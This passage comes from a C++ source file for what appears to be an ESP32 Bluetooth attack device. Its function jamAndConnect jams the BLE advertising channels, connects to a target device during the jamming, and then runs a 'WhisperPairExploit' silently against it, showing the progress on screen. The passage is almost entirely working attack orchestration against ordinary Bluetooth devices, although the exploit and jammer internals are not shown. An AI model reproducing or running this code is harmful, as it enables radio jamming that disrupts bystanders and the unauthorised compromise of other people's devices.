| 2358 | } |
| 2359 | |
| 2360 | bool MultiConnectionAttack::jamAndConnect(NimBLEAddress target) { |
| 2361 | AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); }); |
| 2362 | |
| 2363 | if (!confirmAttack("Jam BLE while attempting exploit connection?")) return false; |
| 2364 | showAttackProgress("Jam & Connect attack starting...", TFT_ORANGE); |
| 2365 | |
| 2366 | bool jamStarted = jamBLEAdvertisingChannels(); |
| 2367 | if (!jamStarted) { |
| 2368 | showAttackResult(false, "Failed to start jamming"); |
| 2369 | return false; |
| 2370 | } |
| 2371 | |
| 2372 | delay(300); |
| 2373 | showAttackProgress("Jamming active - attempting connection...", TFT_YELLOW); |
| 2374 | |
| 2375 | String connectionMethod = ""; |
| 2376 | NimBLEClient *pClient = attemptConnectionWithStrategies(target, connectionMethod); |
| 2377 | stopBLEJammer(); |
| 2378 | delay(200); |
| 2379 | |
| 2380 | if (pClient) { |
| 2381 | BLEStateManager::registerClient(pClient); |
| 2382 | showAttackProgress("Connected! Testing for exploit...", TFT_GREEN); |
| 2383 | WhisperPairExploit exploit; |
| 2384 | bool exploitSuccess = exploit.executeSilent(target); |
| 2385 | |
| 2386 | pClient->disconnect(); |
| 2387 | BLEStateManager::unregisterClient(pClient); |
| 2388 | NimBLEDevice::deleteClient(pClient); |
| 2389 | cleanup.disable(); |
| 2390 | |
| 2391 | if (exploitSuccess) showAttackResult(true, "Jam & Connect exploit successful!"); |
| 2392 | else showAttackResult(true, "Connected but exploit failed"); |
| 2393 | return true; |
| 2394 | } |
| 2395 | showAttackResult(false, "Jam & Connect attack failed"); |
| 2396 | return false; |
| 2397 | } |
| 2398 | |
| 2399 | void MultiConnectionAttack::cleanup() { |
| 2400 | for (auto &client : activeConnections) { |
no test coverage detected